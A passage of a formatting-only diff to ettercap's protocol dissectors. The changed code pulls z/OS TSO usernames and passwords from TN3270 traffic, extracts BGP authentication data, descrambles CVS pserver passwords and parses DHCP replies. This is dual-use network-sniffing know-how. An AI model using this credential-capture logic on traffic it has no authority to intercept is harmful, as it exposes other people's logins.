Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * + */ #include #include @@ -49,22 +49,22 @@ void __init TN3270_init(void) /* Function to convert EBCDIC to ASCII */ static unsigned char e2a[256] = { - 0, 1, 2, 3,156, 9,134,127,151,141,142, 11, 12, 13, 14, 15, - 16, 17, 18, 19,157,133, 8,135, 24, 25,146,143, 28, 29, 30, 31, - 128,129,130,131,132, 10, 23, 27,136,137,138,139,140, 5, 6, 7, - 144,145, 22,147,148,149,150, 4,152,153,154,155, 20, 21,158, 26, - 32,160,161,162,163,164,165,166,167,168, 91, 46, 60, 40, 43, 33, - 38,169,170,171,172,173,174,175,176,177, 93, 36, 42, 41, 59, 94, - 45, 47,178,179,180,181,182,183,184,185,124, 44, 37, 95, 62, 63, - 186,187,188,189,190,191,192,193,194, 96, 58, 35, 64, 39, 61, 34, - 195, 97, 98, 99,100,101,102,103,104,105,196,197,198,199,200,201, - 202,106,107,108,109,110,111,112,113,114,203,204,205,206,207,208, - 209,126,115,116,117,118,119,120,121,122,210,211,212,213,214,215, - 216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231, - 123, 65, 66, 67, 68, 69, 70, 71, 72, 73,232,233,234,235,236,237, - 125, 74, 75, 76, 77, 78, 79, 80, 81, 82,238,239,240,241,242,243, - 92,159, 83, 84, 85, 86, 87, 88, 89, 90,244,245,246,247,248,249, - 48, 49, 50, 51, 52, 53, 54, 55, 56, 57,250,251,252,253,254,255 + 0, 1, 2, 3, 156, 9, 134, 127, 151, 141, 142, 11, 12, 13, 14, 15, + 16, 17, 18, 19, 157, 133, 8, 135, 24, 25, 146, 143, 28, 29, 30, 31, + 128, 129, 130, 131, 132, 10, 23, 27, 136, 137, 138, 139, 140, 5, 6, 7, + 144, 145, 22, 147, 148, 149, 150, 4, 152, 153, 154, 155, 20, 21, 158, 26, + 32, 160, 161, 162, 163, 164, 165, 166, 167, 168, 91, 46, 60, 40, 43, 33, + 38, 169, 170, 171, 172, 173, 174, 175, 176, 177, 93, 36, 42, 41, 59, 94, + 45, 47, 178, 179, 180, 181, 182, 183, 184, 185, 124, 44, 37, 95, 62, 63, + 186, 187, 188, 189, 190, 191, 192, 193, 194, 96, 58, 35, 64, 39, 61, 34, + 195, 97, 98, 99, 100, 101, 102, 103, 104, 105, 196, 197, 198, 199, 200, 201, + 202, 106, 107, 108, 109, 110, 111, 112, 113, 114, 203, 204, 205, 206, 207, 208, + 209, 126, 115, 116, 117, 118, 119, 120, 121, 122, 210, 211, 212, 213, 214, 215, + 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, + 123, 65, 66, 67, 68, 69, 70, 71, 72, 73, 232, 233, 234, 235, 236, 237, + 125, 74, 75, 76, 77, 78, 79, 80, 81, 82, 238, 239, 240, 241, 242, 243, + 92, 159, 83, 84, 85, 86, 87, 88, 89, 90, 244, 245, 246, 247, 248, 249, + 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 250, 251, 252, 253, 254, 255 }; static void ebcdic2ascii(unsigned char *str, int n, unsigned char *out) @@ -74,18 +74,17 @@ static void ebcdic2ascii(unsigned char *str, int n, unsigned char *out) out[i] = e2a[str[i]]; } - FUNC_DECODER(dissector_TN3270) { DECLARE_DISP_PTR_END(ptr, end); unsigned int i; char tmp[MAX_ASCII_ADDR_LEN]; - //suppress unused warning + // suppress unused warning (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; if (FROM_CLIENT("TN3270", PACKET)) { @@ -96,41 +95,42 @@ FUNC_DECODER(dissector_TN3270) char username[512] = { 0 }; char password[512] = { 0 }; - ebcdic2ascii(ptr, PACKET->DATA.len, (unsigned char*)output); + ebcdic2ascii(ptr, PACKET->DATA.len, (unsigned char *)output); /* scan packets to find username and password */ for (i = 0; i < PACKET->DATA.len - 5; i++) { /* find username, logons start with 125 193 (215 or 213) 17 64 90 ordinals * We relax the check for third byte because it is less error-prone that way */ - if (ptr[i] == 125 && ptr[i+1] == 193 && /* (ptr[i+2] == 215 || ptr[i+2] == 213) && */ - ptr[i+3] == 17 && ptr[i+4] == 64 && ptr[i+5] == 90) { - /* scan for spaces */ - int j = i + 6; - while (j < 512 && output[j] == 32) - j++; - - if (j==511) /* Don't even bother */ - continue; - - strncpy(username, &output[j], 512); - - username[511] = 0; /* Boundary */ - - int l = strlen(username); - if (l < 2) - return NULL; - username[l-2] = 0; - DISSECT_MSG("%s:%d <= z/OS TSO Username : %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), username); + if (ptr[i] == 125 && ptr[i + 1] == 193 && /* (ptr[i+2] == 215 || ptr[i+2] == 213) && */ + ptr[i + 3] == 17 && ptr[i + 4] == 64 && ptr[i + 5] == 90) + { + /* scan for spaces */ + int j = i + 6; + while (j < 512 && output[j] == 32) + j++; + + if (j == 511) /* Don't even bother */ + continue; + + strncpy(username, &output[j], 512); + + username[511] = 0; /* Boundary */ + + int l = strlen(username); + if (l < 2) + return NULL; + username[l - 2] = 0; + DISSECT_MSG("%s:%d <= z/OS TSO Username : %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), username); } /* find password */ - if (ptr[i] == 125 && ptr[i+1] == 201 && ptr[i+3] == 17 && ptr[i+4] == 201 && ptr[i+5] == 195) { - strncpy(password, &output[i + 6], 512); - password[511] = 0; /* Boundary */ - int l = strlen(password); - if (l < 2) - return NULL; - password[l-2] = 0; - DISSECT_MSG("%s:%d <= z/OS TSO Password : %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), password); + if (ptr[i] == 125 && ptr[i + 1] == 201 && ptr[i + 3] == 17 && ptr[i + 4] == 201 && ptr[i + 5] == 195) { + strncpy(password, &output[i + 6], 512); + password[511] = 0; /* Boundary */ + int l = strlen(password); + if (l < 2) + return NULL; + password[l - 2] = 0; + DISSECT_MSG("%s:%d <= z/OS TSO Password : %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), password); } } } diff --git a/src/dissectors/ec_bgp.c b/src/dissectors/ec_bgp.c index 487104b5b..5a3f06163 100644 --- a/src/dissectors/ec_bgp.c +++ b/src/dissectors/ec_bgp.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector BGP 4 -- TCP 179 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector BGP 4 -- TCP 179 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /* * @@ -92,12 +92,11 @@ * length field depend on the Authentication Code. * */ - + #include #include #include - /* protos */ FUNC_DECODER(dissector_bgp); @@ -122,34 +121,34 @@ FUNC_DECODER(dissector_bgp) u_char *parameters; u_char param_length; u_int32 i; - u_char BGP_MARKER[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + u_char BGP_MARKER[] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* don't complain about unused var */ - (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)end; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* skip packets that don't have enough data */ if (PACKET->DATA.len < 30) return NULL; /* not the right version (4) */ - if ( ptr[19] != 4 ) - return 0; - + if (ptr[19] != 4) + return 0; + /* not an OPEN message */ - if ( ptr[18] != 1 ) + if (ptr[18] != 1) return 0; - + /* BGP marker has to be FFFFFF... */ - if ( memcmp(ptr, BGP_MARKER, 16) ) + if (memcmp(ptr, BGP_MARKER, 16)) return 0; - + /* no optional parameter */ - if ( (param_length = ptr[28]) == 0 ) - return 0; + if ((param_length = ptr[28]) == 0) + return 0; /* skip to parameters */ parameters = ptr + 29; @@ -160,52 +159,50 @@ FUNC_DECODER(dissector_bgp) DEBUG_MSG("BGP --> TCP dissector_bgp"); /* move through the param list */ - for ( i = 0; i <= param_length; i += (parameters[i + 1] + 2) ) { + for (i = 0; i <= param_length; i += (parameters[i + 1] + 2)) { /* the parameter is an authentication type (1) */ if (parameters[i] == 1) { char *str_ptr; u_int32 j; u_int32 length = parameters[i + 1]; - + DEBUG_MSG("\tDissector_BGP 4 AUTH"); - + PACKET->DISSECTOR.user = strdup("BGP4"); SAFE_CALLOC(PACKET->DISSECTOR.pass, length * 3 + 10, sizeof(char)); SAFE_CALLOC(PACKET->DISSECTOR.info, 32, sizeof(char)); /* Get authentication type */ - snprintf(PACKET->DISSECTOR.info, 32, "AUTH TYPE [0x%02x]", parameters[i+2]); - + snprintf(PACKET->DISSECTOR.info, 32, "AUTH TYPE [0x%02x]", parameters[i + 2]); + /* Get authentication data */ if (length > 1) { snprintf(PACKET->DISSECTOR.pass, 4, "Hex("); str_ptr = PACKET->DISSECTOR.pass + strlen(PACKET->DISSECTOR.pass); - for (j = 0; j < (length-1); j++) { - //u_int32 k = j+3; + for (j = 0; j < (length - 1); j++) { + // u_int32 k = j+3; u_char *temp = parameters + i + j + 3; size_t temp_len = strlen((char *)temp) + 2; snprintf(str_ptr + (j * 3), temp_len, " %.2x", *temp); } - + strcat(str_ptr, " )"); - } - + } + DISSECT_MSG("BGP : %s:%d -> %s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.info, - PACKET->DISSECTOR.pass); - + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.info, + PACKET->DISSECTOR.pass); + return NULL; } } - + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_cvs.c b/src/dissectors/ec_cvs.c index 9f91e4489..32ebb0a6d 100644 --- a/src/dissectors/ec_cvs.c +++ b/src/dissectors/ec_cvs.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector CVS -- TCP 2401 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector CVS -- TCP 2401 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -28,22 +28,22 @@ /* stolen from CVS scramble.c */ static u_char cvs_shifts[] = { - 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, - 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, - 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87, - 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105, - 41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35, - 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56, - 36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48, - 58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223, - 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190, - 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193, - 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212, - 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246, - 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176, - 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127, - 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195, - 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, + 114, 120, 53, 79, 96, 109, 72, 108, 70, 64, 76, 67, 116, 74, 68, 87, + 111, 52, 75, 119, 49, 34, 82, 81, 95, 65, 112, 86, 118, 110, 122, 105, + 41, 57, 83, 43, 46, 102, 40, 89, 38, 103, 45, 50, 42, 123, 91, 35, + 125, 55, 54, 66, 124, 126, 59, 47, 92, 71, 115, 78, 88, 107, 106, 56, + 36, 121, 117, 104, 101, 100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48, + 58, 113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85, 223, + 225, 216, 187, 166, 229, 189, 222, 188, 141, 249, 148, 200, 184, 136, 248, 190, + 199, 170, 181, 204, 138, 232, 218, 183, 255, 234, 220, 247, 213, 203, 226, 193, + 174, 172, 228, 252, 217, 201, 131, 230, 197, 211, 145, 238, 161, 179, 160, 212, + 207, 221, 254, 173, 202, 146, 224, 151, 140, 196, 205, 130, 135, 133, 143, 246, + 192, 159, 244, 239, 185, 168, 215, 144, 139, 165, 180, 157, 147, 186, 214, 176, + 227, 231, 219, 169, 175, 156, 206, 198, 129, 164, 150, 210, 154, 177, 134, 127, + 182, 128, 158, 208, 162, 132, 167, 209, 149, 241, 153, 251, 237, 236, 171, 195, + 243, 233, 253, 240, 194, 250, 191, 155, 142, 137, 245, 235, 163, 242, 178, 152 }; #define CVS_LOGIN "BEGIN VERIFICATION REQUEST" @@ -74,10 +74,9 @@ FUNC_DECODER(dissector_cvs) /* don't complain about unused var */ (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; /* skip messages coming from the server */ if (FROM_SERVER("cvs", PACKET)) @@ -86,70 +85,66 @@ FUNC_DECODER(dissector_cvs) /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + /* not a login packet */ - if ( strncmp((const char*)ptr, CVS_LOGIN, strlen(CVS_LOGIN)) ) + if (strncmp((const char *)ptr, CVS_LOGIN, strlen(CVS_LOGIN))) return NULL; - + DEBUG_MSG("CVS --> TCP dissector_cvs"); - + /* move over the cvsroot path */ ptr += strlen(CVS_LOGIN) + 1; - if (ptr >= end) - return NULL; + if (ptr >= end) + return NULL; /* go until \n */ - while(*ptr != '\n' && ptr != end) ptr++; + while (*ptr != '\n' && ptr != end) ptr++; if (ptr == end) return NULL; - PACKET->DISSECTOR.user = strdup((const char*)++ptr); - + PACKET->DISSECTOR.user = strdup((const char *)++ptr); + /* cut the username on \n */ - if ( (p = strchr(PACKET->DISSECTOR.user, '\n')) != NULL ) + if ((p = strchr(PACKET->DISSECTOR.user, '\n')) != NULL) *p = '\0'; /* go until \n */ - while(*ptr != '\n' && ptr != end) ptr++; + while (*ptr != '\n' && ptr != end) ptr++; if (ptr == end) return NULL; - + /* unsupported scramble method */ if (*(++ptr) != 'A') return NULL; - - PACKET->DISSECTOR.pass = strdup((const char*)ptr); - + + PACKET->DISSECTOR.pass = strdup((const char *)ptr); + /* cut the username on \n */ - if ( (p = strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) + if ((p = strchr(PACKET->DISSECTOR.pass, '\n')) != NULL) *p = '\0'; - + /* no password */ if (strlen(PACKET->DISSECTOR.pass) == 1 && PACKET->DISSECTOR.pass[0] == 'A') { SAFE_FREE(PACKET->DISSECTOR.pass); PACKET->DISSECTOR.pass = strdup("(empty)"); } else { - + p = PACKET->DISSECTOR.pass; - + /* descramble the password */ - for (i = 1; i < sizeof(cvs_shifts) - 1 && p[i]; i++) + for (i = 1; i < sizeof(cvs_shifts) - 1 && p[i]; i++) p[i] = cvs_shifts[(size_t)p[i]]; /* shift it to the left to eliminate the 'A' */ for (i = 0; p[i]; i++) p[i] = p[i + 1]; - } - + /* final message */ DISSECT_MSG("CVS : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); - return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_dhcp.c b/src/dissectors/ec_dhcp.c index c984153be..60e13bea0 100644 --- a/src/dissectors/ec_dhcp.c +++ b/src/dissectors/ec_dhcp.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector DHCP -- UDP 67 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector DHCP -- UDP 67 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /* * RFC: 2131 @@ -29,7 +29,7 @@ * +---------------+---------------+---------------+---------------+ * | xid (4) | * +-------------------------------+-------------------------------+ - + * * | secs (2) | flags (2) | * +-------------------------------+-------------------------------+ * | ciaddr (4) | @@ -50,7 +50,6 @@ * +---------------------------------------------------------------+ */ - #include #include #include @@ -59,30 +58,30 @@ /* globalse */ struct dhcp_hdr { - u_int8 op; - #define BOOTREQUEST 1 - #define BOOTREPLY 2 - u_int8 htype; - u_int8 hlen; - u_int8 hops; - u_int32 id; - u_int16 secs; - u_int16 flags; - u_int32 ciaddr; - u_int32 yiaddr; - u_int32 siaddr; - u_int32 giaddr; - u_int8 chaddr[16]; - u_int8 sname[64]; - u_int8 file[128]; - u_int32 magic; + u_int8 op; +#define BOOTREQUEST 1 +#define BOOTREPLY 2 + u_int8 htype; + u_int8 hlen; + u_int8 hops; + u_int32 id; + u_int16 secs; + u_int16 flags; + u_int32 ciaddr; + u_int32 yiaddr; + u_int32 siaddr; + u_int32 giaddr; + u_int8 chaddr[16]; + u_int8 sname[64]; + u_int8 file[128]; + u_int32 magic; }; /* protos */ FUNC_DECODER(dissector_dhcp); void dhcp_init(void); -u_int8 * get_dhcp_option(u_int8 opt, u_int8 *ptr, u_int8 *end); +u_int8 *get_dhcp_option(u_int8 opt, u_int8 *ptr, u_int8 *end); void put_dhcp_option(u_int8 opt, u_int8 *value, u_int8 len, u_int8 **ptr); static void dhcp_add_profile(struct ip_addr *sa, size_t flag); @@ -98,7 +97,6 @@ void __init dhcp_init(void) dissect_add("dhcp", APP_LAYER_UDP, 67, dissector_dhcp); } - FUNC_DECODER(dissector_dhcp) { DECLARE_DISP_PTR_END(ptr, end); @@ -107,14 +105,14 @@ FUNC_DECODER(dissector_dhcp) u_int8 *options, *opt; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* sanity check */ if (PACKET->DATA.len < sizeof(struct dhcp_hdr)) return NULL; - + DEBUG_MSG("DHCP --> UDP 68 dissector_dhcp"); /* cast the header and options */ @@ -126,62 +124,61 @@ FUNC_DECODER(dissector_dhcp) return NULL; end = ptr + PACKET->DATA.len; - + /* search the "message type" option */ opt = get_dhcp_option(DHCP_OPT_MSG_TYPE, options, end); /* option not found */ if (opt == NULL) return NULL; - - /* client requests */ + + /* client requests */ if (FROM_CLIENT("dhcp", PACKET)) { struct ip_addr client; - + /* clients only send request */ if (dhcp->op != BOOTREQUEST) return NULL; - + switch (*(opt + 1)) { - case DHCP_DISCOVER: - DEBUG_MSG("\tDissector_DHCP DISCOVER"); - - DISSECT_MSG("DHCP: [%s] DISCOVER \n", mac_addr_ntoa(dhcp->chaddr, tmp)); - - /* HOOK POINT: HOOK_PROTO_DHCP_DISCOVER */ - hook_point(HOOK_PROTO_DHCP_DISCOVER, PACKET); - - break; - - case DHCP_REQUEST: - DEBUG_MSG("\tDissector_DHCP REQUEST"); - - /* requested ip address */ - if ((opt = get_dhcp_option(DHCP_OPT_RQ_ADDR, options, end)) != NULL) { - if ((opt + 5) >= end) { - // not enough room for an ip address - return NULL; - } - ip_addr_init(&client, AF_INET, opt + 1); - } - else { - /* search if the client already has the ip address */ - if (dhcp->ciaddr != 0) { - ip_addr_init(&client, AF_INET, (u_char *)&dhcp->ciaddr); - } else - return NULL; + case DHCP_DISCOVER: + DEBUG_MSG("\tDissector_DHCP DISCOVER"); + + DISSECT_MSG("DHCP: [%s] DISCOVER \n", mac_addr_ntoa(dhcp->chaddr, tmp)); + + /* HOOK POINT: HOOK_PROTO_DHCP_DISCOVER */ + hook_point(HOOK_PROTO_DHCP_DISCOVER, PACKET); + + break; + + case DHCP_REQUEST: + DEBUG_MSG("\tDissector_DHCP REQUEST"); + + /* requested ip address */ + if ((opt = get_dhcp_option(DHCP_OPT_RQ_ADDR, options, end)) != NULL) { + if ((opt + 5) >= end) { + // not enough room for an ip address + return NULL; } + ip_addr_init(&client, AF_INET, opt + 1); + } else { + /* search if the client already has the ip address */ + if (dhcp->ciaddr != 0) { + ip_addr_init(&client, AF_INET, (u_char *)&dhcp->ciaddr); + } else + return NULL; + } + + DISSECT_MSG("DHCP: [%s] REQUEST ", mac_addr_ntoa(dhcp->chaddr, tmp)); + DISSECT_MSG("%s\n", ip_addr_ntoa(&client, tmp)); + + /* HOOK POINT: HOOK_PROTO_DHCP_REQUEST */ + hook_point(HOOK_PROTO_DHCP_REQUEST, PACKET); - DISSECT_MSG("DHCP: [%s] REQUEST ", mac_addr_ntoa(dhcp->chaddr, tmp)); - DISSECT_MSG("%s\n", ip_addr_ntoa(&client, tmp)); - - /* HOOK POINT: HOOK_PROTO_DHCP_REQUEST */ - hook_point(HOOK_PROTO_DHCP_REQUEST, PACKET); - - break; + break; } - /* server replies */ + /* server replies */ } else { struct ip_addr netmask; struct ip_addr router; @@ -189,7 +186,7 @@ FUNC_DECODER(dissector_dhcp) struct ip_addr dns; char domain[64]; char resp; - + /* servers only send replies */ if (dhcp->op != BOOTREPLY) return NULL; @@ -201,99 +198,95 @@ FUNC_DECODER(dissector_dhcp) memset(&dns, 0, sizeof(struct ip_addr)); resp = *(opt + 1); - + switch (resp) { - case DHCP_ACK: - case DHCP_OFFER: - - if (resp == DHCP_ACK) - DEBUG_MSG("\tDissector_DHCP ACK"); - else - { - DEBUG_MSG("\tDissector_DHCP OFFER"); - } - - /* get the assigned ip */ - ip_addr_init(&client, AF_INET, (u_char *)&dhcp->yiaddr ); - - /* netmask */ - if ((opt = get_dhcp_option(DHCP_OPT_NETMASK, options, end)) != NULL) - ip_addr_init(&netmask, AF_INET, opt + 1); - - /* default gateway */ - if ((opt = get_dhcp_option(DHCP_OPT_ROUTER, options, end)) != NULL) - ip_addr_init(&router, AF_INET, opt + 1); - - /* dns server */ - if ((opt = get_dhcp_option(DHCP_OPT_DNS, options, end)) != NULL) - ip_addr_init(&dns, AF_INET, opt + 1); - - DISSECT_MSG("DHCP: [%s] %s : ", ip_addr_ntoa(&PACKET->L3.src, tmp), (resp == DHCP_ACK) ? "ACK" : "OFFER"); - DISSECT_MSG("%s ", ip_addr_ntoa(&client, tmp)); - DISSECT_MSG("%s ", ip_addr_ntoa(&netmask, tmp)); - DISSECT_MSG("GW %s ", ip_addr_ntoa(&router, tmp)); - if (!ip_addr_is_zero(&dns)) { - DISSECT_MSG("DNS %s ", ip_addr_ntoa(&dns, tmp)); + case DHCP_ACK: + case DHCP_OFFER: + + if (resp == DHCP_ACK) + DEBUG_MSG("\tDissector_DHCP ACK"); + else { + DEBUG_MSG("\tDissector_DHCP OFFER"); + } + + /* get the assigned ip */ + ip_addr_init(&client, AF_INET, (u_char *)&dhcp->yiaddr); + + /* netmask */ + if ((opt = get_dhcp_option(DHCP_OPT_NETMASK, options, end)) != NULL) + ip_addr_init(&netmask, AF_INET, opt + 1); + + /* default gateway */ + if ((opt = get_dhcp_option(DHCP_OPT_ROUTER, options, end)) != NULL) + ip_addr_init(&router, AF_INET, opt + 1); + + /* dns server */ + if ((opt = get_dhcp_option(DHCP_OPT_DNS, options, end)) != NULL) + ip_addr_init(&dns, AF_INET, opt + 1); + + DISSECT_MSG("DHCP: [%s] %s : ", ip_addr_ntoa(&PACKET->L3.src, tmp), (resp == DHCP_ACK) ? "ACK" : "OFFER"); + DISSECT_MSG("%s ", ip_addr_ntoa(&client, tmp)); + DISSECT_MSG("%s ", ip_addr_ntoa(&netmask, tmp)); + DISSECT_MSG("GW %s ", ip_addr_ntoa(&router, tmp)); + if (!ip_addr_is_zero(&dns)) { + DISSECT_MSG("DNS %s ", ip_addr_ntoa(&dns, tmp)); + } + + /* dns domain */ + if ((opt = get_dhcp_option(DHCP_OPT_DOMAIN, options, end)) != NULL) { + strncpy(domain, (const char *)(opt + 1), MIN(*opt, sizeof(domain))); + + DISSECT_MSG("\"%s\"\n", domain); + } else + DISSECT_MSG("\n"); + + /* add the GW and the DNS to hosts' profiles */ + if (!ip_addr_is_zero(&router)) + dhcp_add_profile(&router, FP_GATEWAY | FP_HOST_LOCAL); + + if (!ip_addr_is_zero(&dns)) + dhcp_add_profile(&dns, FP_UNKNOWN); + + // look for the option 81 in ack's + if (resp == DHCP_ACK && + (opt = get_dhcp_option(DHCP_OPT_FQDN, options, end)) != NULL) + { + u_char size = opt[0]; + if ((opt + size + 2) > end || size < 3) { + // the +2 accounts for a-rr and ptr-rr + return NULL; } - /* dns domain */ - if ((opt = get_dhcp_option(DHCP_OPT_DOMAIN, options, end)) != NULL) { - strncpy(domain, (const char*)(opt + 1), MIN(*opt, sizeof(domain)) ); - - DISSECT_MSG("\"%s\"\n", domain); - } else - DISSECT_MSG("\n"); - - /* add the GW and the DNS to hosts' profiles */ - if (!ip_addr_is_zero(&router)) - dhcp_add_profile(&router, FP_GATEWAY | FP_HOST_LOCAL); - - if (!ip_addr_is_zero(&dns)) - dhcp_add_profile(&dns, FP_UNKNOWN); - - // look for the option 81 in ack's - if (resp == DHCP_ACK && - (opt = get_dhcp_option(DHCP_OPT_FQDN, options, end)) != NULL) - { - u_char size = opt[0]; - if ((opt + size + 2) > end || size < 3) - { - // the +2 accounts for a-rr and ptr-rr - return NULL; - } - - // check flags for the ascii encoding - u_char flags = opt[1]; - if (flags & 0x04) - { - // TODO support wire format (aka dns style) - return NULL; - } - - // create a null terminated string to pass to resolv - char* name = NULL; - SAFE_CALLOC(name, size - 2, sizeof(char)); - memcpy(name, opt + 4, size - 2); - name[size - 3] = 0; - - resolv_cache_insert_passive(&client, name); - - SAFE_FREE(name); + // check flags for the ascii encoding + u_char flags = opt[1]; + if (flags & 0x04) { + // TODO support wire format (aka dns style) + return NULL; } - break; + + // create a null terminated string to pass to resolv + char *name = NULL; + SAFE_CALLOC(name, size - 2, sizeof(char)); + memcpy(name, opt + 4, size - 2); + name[size - 3] = 0; + + resolv_cache_insert_passive(&client, name); + + SAFE_FREE(name); + } + break; } } return NULL; } - /* * return the pointer to the named option * or NULL if not found * ptr will point to the length of the option */ -u_int8 * get_dhcp_option(u_int8 opt, u_int8 *ptr, u_int8 *end) +u_int8 *get_dhcp_option(u_int8 opt, u_int8 *ptr, u_int8 *end) { do { @@ -301,26 +294,25 @@ u_int8 * 